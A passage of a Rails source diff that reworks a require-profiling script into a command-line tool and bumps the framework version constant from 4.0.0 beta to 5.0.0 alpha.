+ string = string.sub(/^(?:(?=\b|[A-Z_])|\w)/) { $&.downcase }
+ end
+ string.gsub(/(?:_|(\/))([a-z\d]*)/) { "#{$1}#{$2.capitalize}" }.gsub('/', '::')
end
end
end
-
-RequireProfiler.stats.each do |file, depth, sec|
- if sec
- puts "%8.1f ms %s%s" % [sec * 1000, ' ' * depth, file]
+if $0 == __FILE__
+ if (filename = ARGV.shift)
+ path = File.expand_path(filename)
+ mode = ARGV.shift
+ CodeTools::Profiler.new(path, mode).profile_requires
else
- puts "#{' ' * (13 + depth)}#{file}"
+ STDERR.puts "No file path entered. Usage is tools/profile path/to/file.rb [ruby-prof mode] [ruby-prof printer]"
end
end
-puts "%8.1f ms %d KB RSS" % [elapsed * 1000, after_rss - before_rss]
diff --git a/version.rb b/version.rb
index ec878f9dcf..7d74b1bfe5 100644
--- a/version.rb
+++ b/version.rb
@@ -1,10 +1,15 @@
module Rails
- module VERSION #:nodoc:
- MAJOR = 4
+ # Returns the version of the currently loaded Rails as a <tt>Gem::Version</tt>
+ def self.gem_version
+ Gem::Version.new VERSION::STRING
+ end
+
+ module VERSION
+ MAJOR = 5
MINOR = 0
TINY = 0
- PRE = "beta"
+ PRE = "alpha"
- STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.')
+ STRING = [MAJOR, MINOR, TINY, PRE].compact.join(".")
end
end